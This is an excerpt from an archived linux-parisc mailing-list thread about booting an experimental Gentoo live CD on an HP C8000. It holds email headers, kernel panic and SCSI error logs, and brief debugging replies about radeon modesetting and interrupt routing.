         pK1YJ31SZbYxBcJAmFhWSVPQlGb0Vx9shZ1vZz/vGI7bkeIDimb+OXQhSu1jiKjA6M3p
         /nCQ==
X-Received: by 10.49.50.162 with SMTP id d2mr17594562qeo.17.1366867778997;
 Wed, 24 Apr 2013 22:29:38 -0700 (PDT)
Original-Received: by 10.49.28.41 with HTTP; Wed, 24 Apr 2013 22:29:18 -0700 (PDT)
In-Reply-To: <1725746.7h2TmhW5F7@eto>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4955>

On Wed, Apr 24, 2013 at 1:08 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> video=radeonfb:off

Has anyone tried with kernel modesetting?

It seems immensely more interesting than radeonfb.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status
 update)
Date: Thu, 25 Apr 2013 18:09:33 +0930
Lines: 70
Approved: news@gmane.org
Message-ID: <5178EBC5.2050607@gmail.com>
References: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org> <1725746.7h2TmhW5F7@eto> <CAEdQ38HjaLRMa_0f=qjVa84-xmerQvmsLH0OBdHxeRReOKQuyw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366879136 7432 80.91.229.3 (25 Apr 2013 08:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 08:38:56 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Ulrich Teichert <krypton@ulrich-teichert.org>,
	Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 25 10:38:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVHhc-00042C-Hr
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Apr 2013 10:38:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756074Ab3DYIiv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Apr 2013 04:38:51 -0400
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]:37710 "EHLO
	mail-pa0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755892Ab3DYIir (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Apr 2013 04:38:47 -0400
Original-Received: by mail-pa0-f41.google.com with SMTP id kq12so959593pab.0
        for <linux-parisc@vger.kernel.org>; Thu, 25 Apr 2013 01:38:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:message-id:date:from:user-agent:mime-version:to:cc
         :subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=nvgsFyE94Mu2O4kug4sBnxt5Pkud5GPNkpODEdrGj1Y=;
        b=OzxvSgxrisd8TAfD33v6BeS9AXxQ3Qql1dphXIeITmePOm5/4856ED3pVVdhuq2mlK
         j5Q3k1oTK0o7q//kmstwxnISPZFHZ7tFtrpvQnjnNX4CCd1d/zISAOyOGpDTneA88/vd
         HhbGK0+QxyhO2Bcy98IVqZjIq7SePRvV7G6k4h2UGzG4jYQ69TWmJMvu5J9nhI0wo+GM
         1DPBeWbYOx0i8DccRIDttAEetsdHQyYc/7Q/OMAn28RpNDK4Nvj1rlcxMYiNDFZ1NIXB
         p/vnTKDDT9nx7YxO2mzdonpuDYRV70sfQQget/9dGHO/rphgr9YllR98+QYXwY/dspJA
         sYUg==
X-Received: by 10.66.76.170 with SMTP id l10mr40215052paw.190.1366879127451;
        Thu, 25 Apr 2013 01:38:47 -0700 (PDT)
Original-Received: from [10.1.1.100] (d122-105-139-149.adl800.sa.optusnet.com.au. [122.105.139.149])
        by mx.google.com with ESMTPSA id aa8sm7262498pad.14.2013.04.25.01.38.43
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Thu, 25 Apr 2013 01:38:46 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120909 Thunderbird/15.0.1
In-Reply-To: <CAEdQ38HjaLRMa_0f=qjVa84-xmerQvmsLH0OBdHxeRReOKQuyw@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4956>

On 04/25/2013 02:59 PM, Matt Turner wrote:
> On Wed, Apr 24, 2013 at 1:08 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>> video=radeonfb:off
> 
> Has anyone tried with kernel modesetting?
> 
> It seems immensely more interesting than radeonfb.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

Looks rather similar.

burke:~# modprobe radeon
[  489.408000] [drm] radeon defaulting to kernel modesetting.
[  489.480000] [drm] radeon kernel modesetting enabled.
[  489.548000] radeon 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
[  489.716000] [drm] initializing kernel modesetting (R420 0x1002:0x4A4D 0x1002:0x4A4D).
[  489.860000] [drm] register mmio base: 0x00020000
[  489.920000] [drm] register mmio size: 65536
[  531.016000] BUG: soft lockup - CPU#3 stuck for 22s! [bash:2745]
[  531.092000] Modules linked in: radeon(+) cfbfillrect cfbimgblt cfbcopyarea i2c_algo_bit drm_kms_helper ttm drm parisc_agp agpgart
[  531.248000] 
[  531.268000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  531.332000] PSW: 00001000000001101111111000001111 Not tainted
[  531.408000] r00-03  000000ff0806fe0f 00000000407a78d0 000000004018e790 00000000406cd0f0
[  531.512000] r04-07  00000000407980d0 00000000435c2500 00000000406401c0 0000000000000001
[  531.620000] r08-11  0000000000000003 000000004069aaf0 fffffffffffffff7 0000000040740bd0
[  531.724000] r12-15  0000000000000000 000000004065c540 0000000000000000 00000000406ee624
[  531.828000] r16-19  000000007e0946e8 00000000000fb648 00000000000f6c78 0000000000000000
[  531.936000] r20-23  ffffffffffffffff 00000000435c2530 000000000800000f 0000000000000001
[  532.040000] r24-27  0000000000000003 0000000000000004 00000000435c2538 00000000407980d0
[  532.148000] r28-31  0000000000000001 000000007e050740 000000007e0506a0 0000000000000004
[  532.252000] sr00-03  0000000000658000 0000000000000000 0000000000000000 0000000000658000
[  532.360000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[  532.464000] 
[  532.484000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004018e65c 000000004018e660
[  532.596000]  IIR: 44bc0040    ISR: 000000004064b940  IOR: 000000007f881438
[  532.688000]  CPU:        3   CR30: 000000007e050000 CR31: fffffff0f0e034e0
[  532.776000]  ORIG_R28: 0000000000000002
[  532.828000]  IAOQ[0]: smp_call_function_many+0x344/0x3d8
[  532.896000]  IAOQ[1]: smp_call_function_many+0x348/0x3d8
[  532.968000]  RP(r2): on_each_cpu+0x50/0x90
[  533.020000] Backtrace:
[  533.052000]  [<000000004018e790>] on_each_cpu+0x50/0x90
[  533.120000]  [<0000000040119aac>] flush_cache_mm+0x24/0x30
[  533.196000]  [<000000004013d118>] dup_mm+0x118/0x5e8
[  533.260000]  [<000000004013e0ac>] copy_process.part.63+0xa24/0x1488
[  533.344000] 
[  533.364000] Kernel panic - not syncing: softlockup: hung tasks
[  533.440000] Backtrace:
[  533.472000]  [<000000004011a0b0>] dump_stack+0x18/0x28
[  533.540000]  [<000000004013fb98>] panic+0x128/0x398
[  533.604000]  [<000000004019af58>] watchdog_timer_fn+0x2b0/0x2c8
[  533.680000]  [<000000004016c6d4>] hrtimer_run_queues+0x134/0x320
[  533.760000]  [<0000000040151ab4>] update_process_times+0x4c/0xc0
[  533.840000]  [<000000004011b77c>] timer_interrupt+0x19c/0x200
[  533.916000]  [<000000004019bf64>] handle_irq_event_percpu+0xac/0x300
[  534.000000]  [<00000000401a08b0>] handle_percpu_irq+0xa8/0xe0
[  534.076000]  [<000000004019b3b0>] generic_handle_irq+0x40/0x50
[  534.152000]  [<000000004011c2e0>] do_cpu_irq_mask+0x1d0/0x2b8
[  534.228000]  [<0000000040105074>] intr_return+0x0/0x4
[  534.296000] 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status update)
Date: Thu, 25 Apr 2013 21:06:54 +0200 (MEST)
Lines: 52
Approved: news@gmane.org
Message-ID: <201304251906.r3PJ6uwn013954@arbas.nms.ulrich-teichert.org>
References: <1725746.7h2TmhW5F7@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366917268 19943 80.91.229.3 (25 Apr 2013 19:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 19:14:28 +0000 (UTC)
Cc: jer@gentoo.org (Jeroen Roovers)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 25 21:14:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVRcj-0006BG-3t
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Apr 2013 21:14:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932400Ab3DYTO2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Apr 2013 15:14:28 -0400
Original-Received: from mail05do.versatel.de ([89.245.129.25]:49575 "EHLO
	mail05do.versatel.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758360Ab3DYTO2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Apr 2013 15:14:28 -0400
Original-Received: (qmail 19844 invoked from network); 25 Apr 2013 19:14:26 -0000
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	spamkill03do.versatel-west.de
X-Spam-Status: No, score=0.0
Original-Received: from i577aa5f2.versanet.de (HELO arbas.nms.ulrich-teichert.org) (ulrich-teichert@foni.net@[87.122.165.242])
          (envelope-sender <ut@ulrich-teichert.org>)
          by mail05do.versatel.de (qmail-ldap-1.03) with ESMTPA
          for <linux-parisc@vger.kernel.org>; 25 Apr 2013 19:14:24 -0000
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6) with ESMTP id r3PJ6u8X013956;
	Thu, 25 Apr 2013 21:06:57 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6/Submit) id r3PJ6uwn013954;
	Thu, 25 Apr 2013 21:06:56 +0200
In-Reply-To: <1725746.7h2TmhW5F7@eto>
X-Mailer: ELM [version 2.5 PL8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4957>

Hi,

>> And that's it. Well, the ISO *is* an experimental one ;-) Any idea what
>> to try?
>
>video=radeonfb:off

Right, that got it to boot ;-) But it failed to recognize my hard disk:

[   15.020000] Fusion MPT base driver 3.04.20
[   15.072000] Copyright (c) 1999-2008 LSI Corporation
[   15.136000] Fusion MPT SPI Host driver 3.04.20
[   15.220000] mptbase: ioc0: Initiating bringup
[   15.760000] ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}
[   16.328000] scsi0 : ioc0: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=66
[   43.872000] mptscsih: ioc0: attempting task abort! (sc=000000007f29e300)
[   43.960000] scsi 0:0:6:0: CDB: 
[   44.000000] cdb[0]=0x12: 12 00 00 00 24 00
[   54.176000] mptscsih: ioc0: WARNING - Issuing Reset from mptscsih_IssueTaskMgmt!! doorbell=0x24000000
[   55.584000] mptscsih: ioc0: task abort: SUCCESS (rv=2002) (sc=000000007f29e300)
[   55.680000] scsi target0:0:6: asynchronous
[   55.928000] mptscsih: ioc0: attempting target reset! (sc=000000007f29e300)
[   56.020000] scsi 0:0:6:0: CDB: 
[   56.060000] cdb[0]=0x12: 12 00 00 00 24 00
[   56.476000] mptscsih: ioc0: target reset: SUCCESS (sc=000000007f29e300)
[   56.812000] mptscsih: ioc0: attempting bus reset! (sc=000000007f29e300)
[   56.900000] scsi 0:0:6:0: CDB: 
[   56.944000] cdb[0]=0x12: 12 00 00 00 24 00
[   57.632000] mptscsih: ioc0: bus reset: SUCCESS (sc=000000007f29e300)
[   67.968000] mptscsih: ioc0: attempting host reset! (sc=000000007f29e300)
[   68.816000] mptscsih: ioc0: host reset: SUCCESS (sc=000000007f29e300)
[   68.900000] scsi target0:0:6: asynchronous
[   79.152000] scsi 0:0:6:0: Device offlined - not ready after error recovery
[   81.268000] mptbase: ioc1: Initiating bringup
[   81.808000] ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}
[   82.376000] scsi1 : ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67

Which is a bit strange as I can boot HPUX from it just fine. Is that a
common problem? Or should I just try another disk? E1000 ethernet support
is OK and running, though,

CU,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de | Listening to:
Stormweg 24               |Pale Bride (The Von Bondies), Slip Away (Sedatives)
24539 Neumuenster, Germany|Sacred Decay (The Estranged), She's Lost Control
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status
 update)
Date: Thu, 25 Apr 2013 12:18:47 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <1366917527.6167.1.camel@dabdike>
References: <201304251906.r3PJ6uwn013954@arbas.nms.ulrich-teichert.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366917530 23429 80.91.229.3 (25 Apr 2013 19:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 19:18:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Jeroen Roovers <jer@gentoo.org>
To: Ulrich Teichert <krypton@ulrich-teichert.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 25 21:18:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVRgx-0001Jn-Oz
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Apr 2013 21:18:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756663Ab3DYTSv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Apr 2013 15:18:51 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33219 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754326Ab3DYTSu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Apr 2013 15:18:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 325CB8EE0A9;
	Thu, 25 Apr 2013 12:18:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bqq3nQ2MbLEn; Thu, 25 Apr 2013 12:18:50 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B1D6F8EE0A5;
	Thu, 25 Apr 2013 12:18:49 -0700 (PDT)
In-Reply-To: <201304251906.r3PJ6uwn013954@arbas.nms.ulrich-teichert.org>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4958>

On Thu, 2013-04-25 at 21:06 +0200, Ulrich Teichert wrote:
> Hi,
> 
> >> And that's it. Well, the ISO *is* an experimental one ;-) Any idea what
> >> to try?
> >
> >video=radeonfb:off
> 
> Right, that got it to boot ;-) But it failed to recognize my hard disk:
> 
> [   15.020000] Fusion MPT base driver 3.04.20
> [   15.072000] Copyright (c) 1999-2008 LSI Corporation
> [   15.136000] Fusion MPT SPI Host driver 3.04.20
> [   15.220000] mptbase: ioc0: Initiating bringup
> [   15.760000] ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}
> [   16.328000] scsi0 : ioc0: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=66
> [   43.872000] mptscsih: ioc0: attempting task abort! (sc=000000007f29e300)
> [   43.960000] scsi 0:0:6:0: CDB: 
> [   44.000000] cdb[0]=0x12: 12 00 00 00 24 00
> [   54.176000] mptscsih: ioc0: WARNING - Issuing Reset from mptscsih_IssueTaskMgmt!! doorbell=0x24000000
> [   55.584000] mptscsih: ioc0: task abort: SUCCESS (rv=2002) (sc=000000007f29e300)
> [   55.680000] scsi target0:0:6: asynchronous
> [   55.928000] mptscsih: ioc0: attempting target reset! (sc=000000007f29e300)
> [   56.020000] scsi 0:0:6:0: CDB: 
> [   56.060000] cdb[0]=0x12: 12 00 00 00 24 00
> [   56.476000] mptscsih: ioc0: target reset: SUCCESS (sc=000000007f29e300)
> [   56.812000] mptscsih: ioc0: attempting bus reset! (sc=000000007f29e300)
> [   56.900000] scsi 0:0:6:0: CDB: 
> [   56.944000] cdb[0]=0x12: 12 00 00 00 24 00
> [   57.632000] mptscsih: ioc0: bus reset: SUCCESS (sc=000000007f29e300)
> [   67.968000] mptscsih: ioc0: attempting host reset! (sc=000000007f29e300)
> [   68.816000] mptscsih: ioc0: host reset: SUCCESS (sc=000000007f29e300)
> [   68.900000] scsi target0:0:6: asynchronous
> [   79.152000] scsi 0:0:6:0: Device offlined - not ready after error recovery
> [   81.268000] mptbase: ioc1: Initiating bringup
> [   81.808000] ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}
> [   82.376000] scsi1 : ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67
> 
> Which is a bit strange as I can boot HPUX from it just fine. Is that a
> common problem? Or should I just try another disk? E1000 ethernet support
> is OK and running, though,

That one looks very much like an interrupt routing problem ... the full
log might give more diagnostic information.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status
Date: Thu, 25 Apr 2013 21:21:39 +0200 (MEST)
Lines: 430
Approved: news@gmane.org
Message-ID: <201304251921.r3PJLd1d014087@arbas.nms.ulrich-teichert.org>
References: <1366917527.6167.1.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366918155 30194 80.91.229.3 (25 Apr 2013 19:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Apr 2013 19:29:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 25 21:29:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UVRr2-00084d-MP
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Apr 2013 21:29:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932641Ab3DYT3P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Apr 2013 15:29:15 -0400
Original-Received: from mail03do.versatel.de ([89.245.129.23]:42954 "EHLO
	mail03do.versatel.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932554Ab3DYT3O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Apr 2013 15:29:14 -0400
Original-Received: (qmail 26086 invoked from network); 25 Apr 2013 19:29:12 -0000
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	spamkill10do.versatel-west.de
X-Spam-Status: No, score=0.0
Original-Received: from i577aa5f2.versanet.de (HELO arbas.nms.ulrich-teichert.org) (ulrich-teichert@foni.net@[87.122.165.242])
          (envelope-sender <ut@ulrich-teichert.org>)
          by mail03do.versatel.de (qmail-ldap-1.03) with ESMTPA
          for <linux-parisc@vger.kernel.org>; 25 Apr 2013 19:29:07 -0000
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6) with ESMTP id r3PJLdXP014089
	for <linux-parisc@vger.kernel.org>; Thu, 25 Apr 2013 21:21:40 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6/Submit) id r3PJLd1d014087
	for linux-parisc@vger.kernel.org; Thu, 25 Apr 2013 21:21:39 +0200
In-Reply-To: <1366917527.6167.1.camel@dabdike>
X-Mailer: ELM [version 2.5 PL8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4959>

Hi,

>That one looks very much like an interrupt routing problem ... the full
>log might give more diagnostic information.

No problem:

[    0.000000] Linux version 3.6.11-livecd64 (root@terminator) (gcc version 4.6.3 (Gentoo 4.6.3 p1.9) ) #1 SMP Thu Jan 24 16:09:18 UTC 2013
[    0.000000] unwind_init: start = 0x406ad000, end = 0x406e85e0, entries = 15198
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 000089b0 00000491 00000000 00000002 56fa29f07c511780 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000401
[    0.000000] CPUID vers 20 rev 10 (0x0000028a)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 8190 MB
[    0.000000] initrd: 7fda6000-7ffee9d0
[    0.000000] initrd: reserving 3fda6000-3ffee9d0 (mem_max 1ffe00000)
[    0.000000] On node 0 totalpages: 262144
[    0.000000] free_area_init_node: node 0, pgdat 40706780, node_mem_map 41865000
[    0.000000]   Normal zone: 3584 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 258560 pages, LIFO batch:31
[    0.000000] On node 1 totalpages: 1048064
[    0.000000] free_area_init_node: node 1, pgdat 40707540, node_mem_map 140000000
[    0.000000]   Normal zone: 14329 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 1033735 pages, LIFO batch:31
[    0.000000] On node 2 totalpages: 786432
[    0.000000] free_area_init_node: node 2, pgdat 40708300, node_mem_map 4080000000
[    0.000000]   Normal zone: 10752 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 775680 pages, LIFO batch:31
[    0.000000] PERCPU: Embedded 10 pages/cpu @000000004266e000 s9728 r8192 d23040 u40960
[    0.000000] pcpu-alloc: s9728 r8192 d23040 u40960 alloc=10*4096
[    0.000000] pcpu-alloc: [0] 00 [0] 01 [0] 02 [0] 03 [0] 04 [0] 05 [0] 06 [0] 07 
[    0.000000] pcpu-alloc: [0] 08 [0] 09 [0] 10 [0] 11 [0] 12 [0] 13 [0] 14 [0] 15 
[    0.000000] pcpu-alloc: [0] 16 [0] 17 [0] 18 [0] 19 [0] 20 [0] 21 [0] 22 [0] 23 
[    0.000000] pcpu-alloc: [0] 24 [0] 25 [0] 26 [0] 27 [0] 28 [0] 29 [0] 30 [0] 31 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2067975
[    0.000000] Kernel command line:  root=/dev/ram0 init=/linuxrc cdroot dokeymap looptype=squashfs loop=/image.squashfs console=ttyB0 video=radeonfb:off palo_kernel=0/livecd
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Memory: 8230968k/8386560k available (4846k kernel code, 155592k reserved, 1929k data, 376k init)
[    0.000000] SLUB: Genslabs=11, HWalign=64, Order=0-3, MinObjects=0, CPUs=32, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1988.60 BogoMIPS (lpj=3977216)
[    0.156000] pid_max: default: 32768 minimum: 301
[    0.216000] Mount-cache hash table entries: 256
[    0.276000] Brought up 1 CPUs
[    0.316000] xor: measuring software checksum speed
[    0.420000]    8regs     :  4697.000 MB/sec
[    0.512000]    8regs_prefetch:  3504.000 MB/sec
[    0.608000]    32regs    :  3852.000 MB/sec
[    0.700000]    32regs_prefetch:  3552.000 MB/sec
[    0.760000] xor: using function: 8regs (4697.000 MB/sec)
[    0.828000] NET: Registered protocol family 16
[    0.888000] EISA bus registered
[    0.928000] Searching for devices...
[    1.080000] Found devices:
[    1.116000] 1. Crestone Peak Mako+ Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x89b, 0x00004 }
[    1.232000] 2. Crestone Peak Mako+ Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x89b, 0x00004 }
[    1.344000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
